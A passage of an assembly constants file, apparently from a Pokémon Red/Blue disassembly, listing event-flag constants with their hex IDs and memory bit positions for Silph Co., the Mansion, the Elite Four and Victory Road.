6) const EVENT_GOT_TM36 ; 6FF, (D826, bit 7) const EVENT_700 ; 700, (D827, bit 0) const EVENT_701 ; 701, (D827, bit 1) const EVENT_BEAT_SILPH_CO_3F_TRAINER_0 ; 702, (D827, bit 2) const EVENT_BEAT_SILPH_CO_3F_TRAINER_1 ; 703, (D827, bit 3) const EVENT_704 ; 704, (D827, bit 4) const EVENT_705 ; 705, (D827, bit 5) const EVENT_706 ; 706, (D827, bit 6) const EVENT_707 ; 707, (D827, bit 7) const EVENT_SILPH_CO_3_UNLOCKED_DOOR1 ; 708, (D828, bit 0) const EVENT_SILPH_CO_3_UNLOCKED_DOOR2 ; 709, (D828, bit 1) const EVENT_70A ; 70A, (D828, bit 2) const EVENT_70B ; 70B, (D828, bit 3) const EVENT_70C ; 70C, (D828, bit 4) const EVENT_70D ; 70D, (D828, bit 5) const EVENT_70E ; 70E, (D828, bit 6) const EVENT_70F ; 70F, (D828, bit 7) const EVENT_710 ; 710, (D829, bit 0) const EVENT_711 ; 711, (D829, bit 1) const EVENT_BEAT_SILPH_CO_4F_TRAINER_0 ; 712, (D829, bit 2) const EVENT_BEAT_SILPH_CO_4F_TRAINER_1 ; 713, (D829, bit 3) const EVENT_BEAT_SILPH_CO_4F_TRAINER_2 ; 714, (D829, bit 4) const EVENT_715 ; 715, (D829, bit 5) const EVENT_716 ; 716, (D829, bit 6) const EVENT_717 ; 717, (D829, bit 7) const EVENT_SILPH_CO_4_UNLOCKED_DOOR1 ; 718, (D82A, bit 0) const EVENT_SILPH_CO_4_UNLOCKED_DOOR2 ; 719, (D82A, bit 1) const EVENT_71A ; 71A, (D82A, bit 2) const EVENT_71B ; 71B, (D82A, bit 3) const EVENT_71C ; 71C, (D82A, bit 4) const EVENT_71D ; 71D, (D82A, bit 5) const EVENT_71E ; 71E, (D82A, bit 6) const EVENT_71F ; 71F, (D82A, bit 7) const EVENT_720 ; 720, (D82B, bit 0) const EVENT_721 ; 721, (D82B, bit 1) const EVENT_BEAT_SILPH_CO_5F_TRAINER_0 ; 722, (D82B, bit 2) const EVENT_BEAT_SILPH_CO_5F_TRAINER_1 ; 723, (D82B, bit 3) const EVENT_BEAT_SILPH_CO_5F_TRAINER_2 ; 724, (D82B, bit 4) const EVENT_BEAT_SILPH_CO_5F_TRAINER_3 ; 725, (D82B, bit 5) const EVENT_726 ; 726, (D82B, bit 6) const EVENT_727 ; 727, (D82B, bit 7) const EVENT_SILPH_CO_5_UNLOCKED_DOOR1 ; 728, (D82C, bit 0) const EVENT_SILPH_CO_5_UNLOCKED_DOOR2 ; 729, (D82C, bit 1) const EVENT_SILPH_CO_5_UNLOCKED_DOOR3 ; 72A, (D82C, bit 2) const EVENT_72B ; 72B, (D82C, bit 3) const EVENT_72C ; 72C, (D82C, bit 4) const EVENT_72D ; 72D, (D82C, bit 5) const EVENT_72E ; 72E, (D82C, bit 6) const EVENT_72F ; 72F, (D82C, bit 7) const EVENT_730 ; 730, (D82D, bit 0) const EVENT_731 ; 731, (D82D, bit 1) const EVENT_732 ; 732, (D82D, bit 2) const EVENT_733 ; 733, (D82D, bit 3) const EVENT_734 ; 734, (D82D, bit 4) const EVENT_735 ; 735, (D82D, bit 5) const EVENT_BEAT_SILPH_CO_6F_TRAINER_0 ; 736, (D82D, bit 6) const EVENT_BEAT_SILPH_CO_6F_TRAINER_1 ; 737, (D82D, bit 7) const EVENT_BEAT_SILPH_CO_6F_TRAINER_2 ; 738, (D82E, bit 0) const EVENT_739 ; 739, (D82E, bit 1) const EVENT_73A ; 73A, (D82E, bit 2) const EVENT_73B ; 73B, (D82E, bit 3) const EVENT_73C ; 73C, (D82E, bit 4) const EVENT_73D ; 73D, (D82E, bit 5) const EVENT_73E ; 73E, (D82E, bit 6) const EVENT_SILPH_CO_6_UNLOCKED_DOOR ; 73F, (D82E, bit 7) const EVENT_BEAT_SILPH_CO_RIVAL ; 740, (D82F, bit 0) const EVENT_741 ; 741, (D82F, bit 1) const EVENT_742 ; 742, (D82F, bit 2) const EVENT_743 ; 743, (D82F, bit 3) const EVENT_744 ; 744, (D82F, bit 4) const EVENT_BEAT_SILPH_CO_7F_TRAINER_0 ; 745, (D82F, bit 5) const EVENT_BEAT_SILPH_CO_7F_TRAINER_1 ; 746, (D82F, bit 6) const EVENT_BEAT_SILPH_CO_7F_TRAINER_2 ; 747, (D82F, bit 7) const EVENT_BEAT_SILPH_CO_7F_TRAINER_3 ; 748, (D830, bit 0) const EVENT_749 ; 749, (D830, bit 1) const EVENT_74A ; 74A, (D830, bit 2) const EVENT_74B ; 74B, (D830, bit 3) const EVENT_SILPH_CO_7_UNLOCKED_DOOR1 ; 74C, (D830, bit 4) const EVENT_SILPH_CO_7_UNLOCKED_DOOR2 ; 74D, (D830, bit 5) const EVENT_SILPH_CO_7_UNLOCKED_DOOR3 ; 74E, (D830, bit 6) const EVENT_74F ; 74F, (D830, bit 7) const EVENT_750 ; 750, (D831, bit 0) const EVENT_751 ; 751, (D831, bit 1) const EVENT_BEAT_SILPH_CO_8F_TRAINER_0 ; 752, (D831, bit 2) const EVENT_BEAT_SILPH_CO_8F_TRAINER_1 ; 753, (D831, bit 3) const EVENT_BEAT_SILPH_CO_8F_TRAINER_2 ; 754, (D831, bit 4) const EVENT_755 ; 755, (D831, bit 5) const EVENT_756 ; 756, (D831, bit 6) const EVENT_757 ; 757, (D831, bit 7) const EVENT_SILPH_CO_8_UNLOCKED_DOOR ; 758, (D832, bit 0) const EVENT_759 ; 759, (D832, bit 1) const EVENT_75A ; 75A, (D832, bit 2) const EVENT_75B ; 75B, (D832, bit 3) const EVENT_75C ; 75C, (D832, bit 4) const EVENT_75D ; 75D, (D832, bit 5) const EVENT_75E ; 75E, (D832, bit 6) const EVENT_75F ; 75F, (D832, bit 7) const EVENT_760 ; 760, (D833, bit 0) const EVENT_761 ; 761, (D833, bit 1) const EVENT_BEAT_SILPH_CO_9F_TRAINER_0 ; 762, (D833, bit 2) const EVENT_BEAT_SILPH_CO_9F_TRAINER_1 ; 763, (D833, bit 3) const EVENT_BEAT_SILPH_CO_9F_TRAINER_2 ; 764, (D833, bit 4) const EVENT_765 ; 765, (D833, bit 5) const EVENT_766 ; 766, (D833, bit 6) const EVENT_767 ; 767, (D833, bit 7) const EVENT_SILPH_CO_9_UNLOCKED_DOOR1 ; 768, (D834, bit 0) const EVENT_SILPH_CO_9_UNLOCKED_DOOR2 ; 769, (D834, bit 1) const EVENT_SILPH_CO_9_UNLOCKED_DOOR3 ; 76A, (D834, bit 2) const EVENT_SILPH_CO_9_UNLOCKED_DOOR4 ; 76B, (D834, bit 3) const EVENT_76C ; 76C, (D834, bit 4) const EVENT_76D ; 76D, (D834, bit 5) const EVENT_76E ; 76E, (D834, bit 6) const EVENT_76F ; 76F, (D834, bit 7) const EVENT_770 ; 770, (D835, bit 0) const EVENT_BEAT_SILPH_CO_10F_TRAINER_0 ; 771, (D835, bit 1) const EVENT_BEAT_SILPH_CO_10F_TRAINER_1 ; 772, (D835, bit 2) const EVENT_773 ; 773, (D835, bit 3) const EVENT_774 ; 774, (D835, bit 4) const EVENT_775 ; 775, (D835, bit 5) const EVENT_776 ; 776, (D835, bit 6) const EVENT_777 ; 777, (D835, bit 7) const EVENT_SILPH_CO_10_UNLOCKED_DOOR ; 778, (D836, bit 0) const EVENT_779 ; 779, (D836, bit 1) const EVENT_77A ; 77A, (D836, bit 2) const EVENT_77B ; 77B, (D836, bit 3) const EVENT_77C ; 77C, (D836, bit 4) const EVENT_77D ; 77D, (D836, bit 5) const EVENT_77E ; 77E, (D836, bit 6) const EVENT_77F ; 77F, (D836, bit 7) const EVENT_780 ; 780, (D837, bit 0) const EVENT_781 ; 781, (D837, bit 1) const EVENT_782 ; 782, (D837, bit 2) const EVENT_783 ; 783, (D837, bit 3) const EVENT_BEAT_SILPH_CO_11F_TRAINER_0 ; 784, (D837, bit 4) const EVENT_BEAT_SILPH_CO_11F_TRAINER_1 ; 785, (D837, bit 5) const EVENT_786 ; 786, (D837, bit 6) const EVENT_787 ; 787, (D837, bit 7) const EVENT_SILPH_CO_11_UNLOCKED_DOOR ; 788, (D838, bit 0) const EVENT_789 ; 789, (D838, bit 1) const EVENT_78A ; 78A, (D838, bit 2) const EVENT_78B ; 78B, (D838, bit 3) const EVENT_78C ; 78C, (D838, bit 4) const EVENT_GOT_MASTER_BALL ; 78D, (D838, bit 5) const EVENT_78E ; 78E, (D838, bit 6) const EVENT_BEAT_SILPH_CO_GIOVANNI ; 78F, (D838, bit 7) const EVENT_790 ; 790, (D839, bit 0) const EVENT_791 ; 791, (D839, bit 1) const EVENT_792 ; 792, (D839, bit 2) const EVENT_793 ; 793, (D839, bit 3) const EVENT_794 ; 794, (D839, bit 4) const EVENT_795 ; 795, (D839, bit 5) const EVENT_796 ; 796, (D839, bit 6) const EVENT_797 ; 797, (D839, bit 7) const EVENT_798 ; 798, (D83A, bit 0) const EVENT_799 ; 799, (D83A, bit 1) const EVENT_79A ; 79A, (D83A, bit 2) const EVENT_79B ; 79B, (D83A, bit 3) const EVENT_79C ; 79C, (D83A, bit 4) const EVENT_79D ; 79D, (D83A, bit 5) const EVENT_79E ; 79E, (D83A, bit 6) const EVENT_79F ; 79F, (D83A, bit 7) const EVENT_7A0 ; 7A0, (D83B, bit 0) const EVENT_7A1 ; 7A1, (D83B, bit 1) const EVENT_7A2 ; 7A2, (D83B, bit 2) const EVENT_7A3 ; 7A3, (D83B, bit 3) const EVENT_7A4 ; 7A4, (D83B, bit 4) const EVENT_7A5 ; 7A5, (D83B, bit 5) const EVENT_7A6 ; 7A6, (D83B, bit 6) const EVENT_7A7 ; 7A7, (D83B, bit 7) const EVENT_7A8 ; 7A8, (D83C, bit 0) const EVENT_7A9 ; 7A9, (D83C, bit 1) const EVENT_7AA ; 7AA, (D83C, bit 2) const EVENT_7AB ; 7AB, (D83C, bit 3) const EVENT_7AC ; 7AC, (D83C, bit 4) const EVENT_7AD ; 7AD, (D83C, bit 5) const EVENT_7AE ; 7AE, (D83C, bit 6) const EVENT_7AF ; 7AF, (D83C, bit 7) const EVENT_7B0 ; 7B0, (D83D, bit 0) const EVENT_7B1 ; 7B1, (D83D, bit 1) const EVENT_7B2 ; 7B2, (D83D, bit 2) const EVENT_7B3 ; 7B3, (D83D, bit 3) const EVENT_7B4 ; 7B4, (D83D, bit 4) const EVENT_7B5 ; 7B5, (D83D, bit 5) const EVENT_7B6 ; 7B6, (D83D, bit 6) const EVENT_7B7 ; 7B7, (D83D, bit 7) const EVENT_7B8 ; 7B8, (D83E, bit 0) const EVENT_7B9 ; 7B9, (D83E, bit 1) const EVENT_7BA ; 7BA, (D83E, bit 2) const EVENT_7BB ; 7BB, (D83E, bit 3) const EVENT_7BC ; 7BC, (D83E, bit 4) const EVENT_7BD ; 7BD, (D83E, bit 5) const EVENT_7BE ; 7BE, (D83E, bit 6) const EVENT_7BF ; 7BF, (D83E, bit 7) const EVENT_7C0 ; 7C0, (D83F, bit 0) const EVENT_7C1 ; 7C1, (D83F, bit 1) const EVENT_7C2 ; 7C2, (D83F, bit 2) const EVENT_7C3 ; 7C3, (D83F, bit 3) const EVENT_7C4 ; 7C4, (D83F, bit 4) const EVENT_7C5 ; 7C5, (D83F, bit 5) const EVENT_7C6 ; 7C6, (D83F, bit 6) const EVENT_7C7 ; 7C7, (D83F, bit 7) const EVENT_7C8 ; 7C8, (D840, bit 0) const EVENT_7C9 ; 7C9, (D840, bit 1) const EVENT_7CA ; 7CA, (D840, bit 2) const EVENT_7CB ; 7CB, (D840, bit 3) const EVENT_7CC ; 7CC, (D840, bit 4) const EVENT_7CD ; 7CD, (D840, bit 5) const EVENT_7CE ; 7CE, (D840, bit 6) const EVENT_7CF ; 7CF, (D840, bit 7) const EVENT_7D0 ; 7D0, (D841, bit 0) const EVENT_7D1 ; 7D1, (D841, bit 1) const EVENT_7D2 ; 7D2, (D841, bit 2) const EVENT_7D3 ; 7D3, (D841, bit 3) const EVENT_7D4 ; 7D4, (D841, bit 4) const EVENT_7D5 ; 7D5, (D841, bit 5) const EVENT_7D6 ; 7D6, (D841, bit 6) const EVENT_7D7 ; 7D7, (D841, bit 7) const EVENT_7D8 ; 7D8, (D842, bit 0) const EVENT_7D9 ; 7D9, (D842, bit 1) const EVENT_7DA ; 7DA, (D842, bit 2) const EVENT_7DB ; 7DB, (D842, bit 3) const EVENT_7DC ; 7DC, (D842, bit 4) const EVENT_7DD ; 7DD, (D842, bit 5) const EVENT_7DE ; 7DE, (D842, bit 6) const EVENT_7DF ; 7DF, (D842, bit 7) const EVENT_7E0 ; 7E0, (D843, bit 0) const EVENT_7E1 ; 7E1, (D843, bit 1) const EVENT_7E2 ; 7E2, (D843, bit 2) const EVENT_7E3 ; 7E3, (D843, bit 3) const EVENT_7E4 ; 7E4, (D843, bit 4) const EVENT_7E5 ; 7E5, (D843, bit 5) const EVENT_7E6 ; 7E6, (D843, bit 6) const EVENT_7E7 ; 7E7, (D843, bit 7) const EVENT_7E8 ; 7E8, (D844, bit 0) const EVENT_7E9 ; 7E9, (D844, bit 1) const EVENT_7EA ; 7EA, (D844, bit 2) const EVENT_7EB ; 7EB, (D844, bit 3) const EVENT_7EC ; 7EC, (D844, bit 4) const EVENT_7ED ; 7ED, (D844, bit 5) const EVENT_7EE ; 7EE, (D844, bit 6) const EVENT_7EF ; 7EF, (D844, bit 7) const EVENT_7F0 ; 7F0, (D845, bit 0) const EVENT_7F1 ; 7F1, (D845, bit 1) const EVENT_7F2 ; 7F2, (D845, bit 2) const EVENT_7F3 ; 7F3, (D845, bit 3) const EVENT_7F4 ; 7F4, (D845, bit 4) const EVENT_7F5 ; 7F5, (D845, bit 5) const EVENT_7F6 ; 7F6, (D845, bit 6) const EVENT_7F7 ; 7F7, (D845, bit 7) const EVENT_7F8 ; 7F8, (D846, bit 0) const EVENT_7F9 ; 7F9, (D846, bit 1) const EVENT_7FA ; 7FA, (D846, bit 2) const EVENT_7FB ; 7FB, (D846, bit 3) const EVENT_7FC ; 7FC, (D846, bit 4) const EVENT_7FD ; 7FD, (D846, bit 5) const EVENT_7FE ; 7FE, (D846, bit 6) const EVENT_7FF ; 7FF, (D846, bit 7) const EVENT_800 ; 800, (D847, bit 0) const EVENT_BEAT_MANSION_2_TRAINER_0 ; 801, (D847, bit 1) const EVENT_802 ; 802, (D847, bit 2) const EVENT_803 ; 803, (D847, bit 3) const EVENT_804 ; 804, (D847, bit 4) const EVENT_805 ; 805, (D847, bit 5) const EVENT_806 ; 806, (D847, bit 6) const EVENT_807 ; 807, (D847, bit 7) const EVENT_808 ; 808, (D848, bit 0) const EVENT_809 ; 809, (D848, bit 1) const EVENT_80A ; 80A, (D848, bit 2) const EVENT_80B ; 80B, (D848, bit 3) const EVENT_80C ; 80C, (D848, bit 4) const EVENT_80D ; 80D, (D848, bit 5) const EVENT_80E ; 80E, (D848, bit 6) const EVENT_80F ; 80F, (D848, bit 7) const EVENT_810 ; 810, (D849, bit 0) const EVENT_BEAT_MANSION_3_TRAINER_0 ; 811, (D849, bit 1) const EVENT_BEAT_MANSION_3_TRAINER_1 ; 812, (D849, bit 2) const EVENT_813 ; 813, (D849, bit 3) const EVENT_814 ; 814, (D849, bit 4) const EVENT_815 ; 815, (D849, bit 5) const EVENT_816 ; 816, (D849, bit 6) const EVENT_817 ; 817, (D849, bit 7) const EVENT_818 ; 818, (D84A, bit 0) const EVENT_819 ; 819, (D84A, bit 1) const EVENT_81A ; 81A, (D84A, bit 2) const EVENT_81B ; 81B, (D84A, bit 3) const EVENT_81C ; 81C, (D84A, bit 4) const EVENT_81D ; 81D, (D84A, bit 5) const EVENT_81E ; 81E, (D84A, bit 6) const EVENT_81F ; 81F, (D84A, bit 7) const EVENT_820 ; 820, (D84B, bit 0) const EVENT_BEAT_MANSION_4_TRAINER_0 ; 821, (D84B, bit 1) const EVENT_BEAT_MANSION_4_TRAINER_1 ; 822, (D84B, bit 2) const EVENT_823 ; 823, (D84B, bit 3) const EVENT_824 ; 824, (D84B, bit 4) const EVENT_825 ; 825, (D84B, bit 5) const EVENT_826 ; 826, (D84B, bit 6) const EVENT_827 ; 827, (D84B, bit 7) const EVENT_828 ; 828, (D84C, bit 0) const EVENT_829 ; 829, (D84C, bit 1) const EVENT_82A ; 82A, (D84C, bit 2) const EVENT_82B ; 82B, (D84C, bit 3) const EVENT_82C ; 82C, (D84C, bit 4) const EVENT_82D ; 82D, (D84C, bit 5) const EVENT_82E ; 82E, (D84C, bit 6) const EVENT_82F ; 82F, (D84C, bit 7) const EVENT_830 ; 830, (D84D, bit 0) const EVENT_831 ; 831, (D84D, bit 1) const EVENT_832 ; 832, (D84D, bit 2) const EVENT_833 ; 833, (D84D, bit 3) const EVENT_834 ; 834, (D84D, bit 4) const EVENT_835 ; 835, (D84D, bit 5) const EVENT_836 ; 836, (D84D, bit 6) const EVENT_837 ; 837, (D84D, bit 7) const EVENT_838 ; 838, (D84E, bit 0) const EVENT_839 ; 839, (D84E, bit 1) const EVENT_83A ; 83A, (D84E, bit 2) const EVENT_83B ; 83B, (D84E, bit 3) const EVENT_83C ; 83C, (D84E, bit 4) const EVENT_83D ; 83D, (D84E, bit 5) const EVENT_83E ; 83E, (D84E, bit 6) const EVENT_83F ; 83F, (D84E, bit 7) const EVENT_840 ; 840, (D84F, bit 0) const EVENT_841 ; 841, (D84F, bit 1) const EVENT_842 ; 842, (D84F, bit 2) const EVENT_843 ; 843, (D84F, bit 3) const EVENT_844 ; 844, (D84F, bit 4) const EVENT_845 ; 845, (D84F, bit 5) const EVENT_846 ; 846, (D84F, bit 6) const EVENT_847 ; 847, (D84F, bit 7) const EVENT_848 ; 848, (D850, bit 0) const EVENT_849 ; 849, (D850, bit 1) const EVENT_84A ; 84A, (D850, bit 2) const EVENT_84B ; 84B, (D850, bit 3) const EVENT_84C ; 84C, (D850, bit 4) const EVENT_84D ; 84D, (D850, bit 5) const EVENT_84E ; 84E, (D850, bit 6) const EVENT_84F ; 84F, (D850, bit 7) const EVENT_850 ; 850, (D851, bit 0) const EVENT_851 ; 851, (D851, bit 1) const EVENT_852 ; 852, (D851, bit 2) const EVENT_853 ; 853, (D851, bit 3) const EVENT_854 ; 854, (D851, bit 4) const EVENT_855 ; 855, (D851, bit 5) const EVENT_856 ; 856, (D851, bit 6) const EVENT_857 ; 857, (D851, bit 7) const EVENT_858 ; 858, (D852, bit 0) const EVENT_859 ; 859, (D852, bit 1) const EVENT_85A ; 85A, (D852, bit 2) const EVENT_85B ; 85B, (D852, bit 3) const EVENT_85C ; 85C, (D852, bit 4) const EVENT_85D ; 85D, (D852, bit 5) const EVENT_85E ; 85E, (D852, bit 6) const EVENT_85F ; 85F, (D852, bit 7) const EVENT_860 ; 860, (D853, bit 0) const EVENT_861 ; 861, (D853, bit 1) const EVENT_862 ; 862, (D853, bit 2) const EVENT_863 ; 863, (D853, bit 3) const EVENT_864 ; 864, (D853, bit 4) const EVENT_865 ; 865, (D853, bit 5) const EVENT_866 ; 866, (D853, bit 6) const EVENT_867 ; 867, (D853, bit 7) const EVENT_868 ; 868, (D854, bit 0) const EVENT_869 ; 869, (D854, bit 1) const EVENT_86A ; 86A, (D854, bit 2) const EVENT_86B ; 86B, (D854, bit 3) const EVENT_86C ; 86C, (D854, bit 4) const EVENT_86D ; 86D, (D854, bit 5) const EVENT_86E ; 86E, (D854, bit 6) const EVENT_86F ; 86F, (D854, bit 7) const EVENT_870 ; 870, (D855, bit 0) const EVENT_871 ; 871, (D855, bit 1) const EVENT_872 ; 872, (D855, bit 2) const EVENT_873 ; 873, (D855, bit 3) const EVENT_874 ; 874, (D855, bit 4) const EVENT_875 ; 875, (D855, bit 5) const EVENT_876 ; 876, (D855, bit 6) const EVENT_877 ; 877, (D855, bit 7) const EVENT_878 ; 878, (D856, bit 0) const EVENT_879 ; 879, (D856, bit 1) const EVENT_87A ; 87A, (D856, bit 2) const EVENT_87B ; 87B, (D856, bit 3) const EVENT_87C ; 87C, (D856, bit 4) const EVENT_87D ; 87D, (D856, bit 5) const EVENT_87E ; 87E, (D856, bit 6) const EVENT_87F ; 87F, (D856, bit 7) const EVENT_GOT_HM03 ; 880, (D857, bit 0) const EVENT_881 ; 881, (D857, bit 1) const EVENT_882 ; 882, (D857, bit 2) const EVENT_883 ; 883, (D857, bit 3) const EVENT_884 ; 884, (D857, bit 4) const EVENT_885 ; 885, (D857, bit 5) const EVENT_886 ; 886, (D857, bit 6) const EVENT_887 ; 887, (D857, bit 7) const EVENT_888 ; 888, (D858, bit 0) const EVENT_889 ; 889, (D858, bit 1) const EVENT_88A ; 88A, (D858, bit 2) const EVENT_88B ; 88B, (D858, bit 3) const EVENT_88C ; 88C, (D858, bit 4) const EVENT_88D ; 88D, (D858, bit 5) const EVENT_88E ; 88E, (D858, bit 6) const EVENT_88F ; 88F, (D858, bit 7) const EVENT_890 ; 890, (D859, bit 0) const EVENT_891 ; 891, (D859, bit 1) const EVENT_892 ; 892, (D859, bit 2) const EVENT_893 ; 893, (D859, bit 3) const EVENT_894 ; 894, (D859, bit 4) const EVENT_895 ; 895, (D859, bit 5) const EVENT_896 ; 896, (D859, bit 6) const EVENT_897 ; 897, (D859, bit 7) const EVENT_898 ; 898, (D85A, bit 0) const EVENT_899 ; 899, (D85A, bit 1) const EVENT_89A ; 89A, (D85A, bit 2) const EVENT_89B ; 89B, (D85A, bit 3) const EVENT_89C ; 89C, (D85A, bit 4) const EVENT_89D ; 89D, (D85A, bit 5) const EVENT_89E ; 89E, (D85A, bit 6) const EVENT_89F ; 89F, (D85A, bit 7) const EVENT_8A0 ; 8A0, (D85B, bit 0) const EVENT_8A1 ; 8A1, (D85B, bit 1) const EVENT_8A2 ; 8A2, (D85B, bit 2) const EVENT_8A3 ; 8A3, (D85B, bit 3) const EVENT_8A4 ; 8A4, (D85B, bit 4) const EVENT_8A5 ; 8A5, (D85B, bit 5) const EVENT_8A6 ; 8A6, (D85B, bit 6) const EVENT_8A7 ; 8A7, (D85B, bit 7) const EVENT_8A8 ; 8A8, (D85C, bit 0) const EVENT_8A9 ; 8A9, (D85C, bit 1) const EVENT_8AA ; 8AA, (D85C, bit 2) const EVENT_8AB ; 8AB, (D85C, bit 3) const EVENT_8AC ; 8AC, (D85C, bit 4) const EVENT_8AD ; 8AD, (D85C, bit 5) const EVENT_8AE ; 8AE, (D85C, bit 6) const EVENT_8AF ; 8AF, (D85C, bit 7) const EVENT_8B0 ; 8B0, (D85D, bit 0) const EVENT_8B1 ; 8B1, (D85D, bit 1) const EVENT_8B2 ; 8B2, (D85D, bit 2) const EVENT_8B3 ; 8B3, (D85D, bit 3) const EVENT_8B4 ; 8B4, (D85D, bit 4) const EVENT_8B5 ; 8B5, (D85D, bit 5) const EVENT_8B6 ; 8B6, (D85D, bit 6) const EVENT_8B7 ; 8B7, (D85D, bit 7) const EVENT_8B8 ; 8B8, (D85E, bit 0) const EVENT_8B9 ; 8B9, (D85E, bit 1) const EVENT_8BA ; 8BA, (D85E, bit 2) const EVENT_8BB ; 8BB, (D85E, bit 3) const EVENT_8BC ; 8BC, (D85E, bit 4) const EVENT_8BD ; 8BD, (D85E, bit 5) const EVENT_8BE ; 8BE, (D85E, bit 6) const EVENT_8BF ; 8BF, (D85E, bit 7) const EVENT_8C0 ; 8C0, (D85F, bit 0) const EVENT_BEAT_MEWTWO ; 8C1, (D85F, bit 1) const EVENT_8C2 ; 8C2, (D85F, bit 2) const EVENT_8C3 ; 8C3, (D85F, bit 3) const EVENT_8C4 ; 8C4, (D85F, bit 4) const EVENT_8C5 ; 8C5, (D85F, bit 5) const EVENT_8C6 ; 8C6, (D85F, bit 6) const EVENT_8C7 ; 8C7, (D85F, bit 7) const EVENT_8C8 ; 8C8, (D860, bit 0) const EVENT_8C9 ; 8C9, (D860, bit 1) const EVENT_8CA ; 8CA, (D860, bit 2) const EVENT_8CB ; 8CB, (D860, bit 3) const EVENT_8CC ; 8CC, (D860, bit 4) const EVENT_8CD ; 8CD, (D860, bit 5) const EVENT_8CE ; 8CE, (D860, bit 6) const EVENT_8CF ; 8CF, (D860, bit 7) const EVENT_8D0 ; 8D0, (D861, bit 0) const EVENT_8D1 ; 8D1, (D861, bit 1) const EVENT_8D2 ; 8D2, (D861, bit 2) const EVENT_8D3 ; 8D3, (D861, bit 3) const EVENT_8D4 ; 8D4, (D861, bit 4) const EVENT_8D5 ; 8D5, (D861, bit 5) const EVENT_8D6 ; 8D6, (D861, bit 6) const EVENT_8D7 ; 8D7, (D861, bit 7) const EVENT_8D8 ; 8D8, (D862, bit 0) const EVENT_8D9 ; 8D9, (D862, bit 1) const EVENT_8DA ; 8DA, (D862, bit 2) const EVENT_8DB ; 8DB, (D862, bit 3) const EVENT_8DC ; 8DC, (D862, bit 4) const EVENT_8DD ; 8DD, (D862, bit 5) const EVENT_8DE ; 8DE, (D862, bit 6) const EVENT_8DF ; 8DF, (D862, bit 7) const ELITE4_EVENTS_START ; 8E0, (D863, bit 0) const EVENT_BEAT_LORELEIS_ROOM_TRAINER_0 ; 8E1, (D863, bit 1) const EVENT_8E2 ; 8E2, (D863, bit 2) const EVENT_8E3 ; 8E3, (D863, bit 3) const EVENT_8E4 ; 8E4, (D863, bit 4) const EVENT_8E5 ; 8E5, (D863, bit 5) const EVENT_AUTOWALKED_INTO_LORELEIS_ROOM ; 8E6, (D863, bit 6) const EVENT_8E7 ; 8E7, (D863, bit 7) const EVENT_8E8 ; 8E8, (D864, bit 0) const EVENT_BEAT_BRUNOS_ROOM_TRAINER_0 ; 8E9, (D864, bit 1) const EVENT_8EA ; 8EA, (D864, bit 2) const EVENT_8EB ; 8EB, (D864, bit 3) const EVENT_8EC ; 8EC, (D864, bit 4) const EVENT_8ED ; 8ED, (D864, bit 5) const EVENT_AUTOWALKED_INTO_BRUNOS_ROOM ; 8EE, (D864, bit 6) const EVENT_8EF ; 8EF, (D864, bit 7) const EVENT_8F0 ; 8F0, (D865, bit 0) const EVENT_BEAT_AGATHAS_ROOM_TRAINER_0 ; 8F1, (D865, bit 1) const EVENT_8F2 ; 8F2, (D865, bit 2) const EVENT_8F3 ; 8F3, (D865, bit 3) const EVENT_8F4 ; 8F4, (D865, bit 4) const EVENT_8F5 ; 8F5, (D865, bit 5) const EVENT_AUTOWALKED_INTO_AGATHAS_ROOM ; 8F6, (D865, bit 6) const EVENT_8F7 ; 8F7, (D865, bit 7) const EVENT_8F8 ; 8F8, (D866, bit 0) const EVENT_BEAT_LANCES_ROOM_TRAINER_0 ; 8F9, (D866, bit 1) const EVENT_8FA ; 8FA, (D866, bit 2) const EVENT_8FB ; 8FB, (D866, bit 3) const EVENT_8FC ; 8FC, (D866, bit 4) const EVENT_8FD ; 8FD, (D866, bit 5) const EVENT_BEAT_LANCE ; 8FE, (D866, bit 6) const EVENT_LANCES_ROOM_LOCK_DOOR ; 8FF, (D866, bit 7) const EVENT_900 ; 900, (D867, bit 0) const EVENT_BEAT_CHAMPION_RIVAL ; 901, (D867, bit 1) const EVENT_902 ; 902, (D867, bit 2) const EVENT_903 ; 903, (D867, bit 3) const EVENT_904 ; 904, (D867, bit 4) const EVENT_905 ; 905, (D867, bit 5) const EVENT_906 ; 906, (D867, bit 6) const ELITE4_CHAMPION_EVENTS_END ; 907, (D867, bit 7) const EVENT_908 ; 908, (D868, bit 0) const EVENT_909 ; 909, (D868, bit 1) const EVENT_90A ; 90A, (D868, bit 2) const EVENT_90B ; 90B, (D868, bit 3) const EVENT_90C ; 90C, (D868, bit 4) const EVENT_90D ; 90D, (D868, bit 5) const EVENT_90E ; 90E, (D868, bit 6) const EVENT_90F ; 90F, (D868, bit 7) const EVENT_910 ; 910, (D869, bit 0) const EVENT_BEAT_VICTORY_ROAD_1_TRAINER_0 ; 911, (D869, bit 1) const EVENT_BEAT_VICTORY_ROAD_1_TRAINER_1 ; 912, (D869, bit 2) const EVENT_913 ; 913, (D869, bit 3) const EVENT_914 ; 914, (D869, bit 4) const EVENT_915 ; 915, (D869, bit 5) const EVENT_916 ; 916, (D869, bit 6) const EVENT_VICTORY_ROAD_1_BOULDER_ON_SWITCH ; 917, (D869, bit 7) const EVENT_918 ; 918, (D86A, bit 0) const EVENT_919 ; 919, (D86A, bit 1) const EVENT_91A ; 91A, (D86A, bit 2) const EVENT_91B ; 91B, (D86A, bit 3) const EVENT_91C ; 91C, (D86A, bit 4) const EVENT_91D ; 91D, (D86A, bit 5) const EVENT_91E ; 91E, (D86A, bit 6) const EVENT_91F ; 91F, (D86A, bit 7) const EVENT_920 ; 920, (D86B, bit 0) const EVENT_921 ; 921, (D86B, bit 1) const EVENT_922 ; 922, (D86B, bit 2) const EVENT_923 ; 923, (D86B, bit 3) const EVENT_924 ; 924, (D86B, bit 4) const EVENT_925 ; 925, (D86B, bit 5) const EVENT_926 ; 926, (D86B, bit 6) const EVENT_927 ; 927, (D86B, bit 7) const EVENT_928 ; 928, (D86C, bit 0) const EVENT_929 ; 929, (D86C, bit 1) const EVENT_92A ; 92A, (D86C, bit 2) const EVENT_92B ; 92B, (D86C, bit 3) const EVENT_92C ; 92C, (D86C, bit 4) const EVENT_92D ; 92D, (D86C, bit 5) const EVENT_92E ; 92E, (D86C, bit 6) const EVENT_92F ; 92F, (D86C, bit 7) const EVENT_930 ; 930, (D86D, bit 0) const EVENT_931 ; 931, (D86D, bit 1) const EVENT_932 ; 932, (D86D, bit 2) const EVENT_933 ; 933, (D86D, bit 3) const EVENT_934 ; 934, (D86D, bit 4) const EVENT_935 ; 935, (D86D, bit 5) const EVENT_936 ; 936, (D86D, bit 6) const EVENT_937 ; 937, (D86D, bit 7) const EVENT_938 ; 938, (D86E, bit 0) const EVENT_939 ; 939, 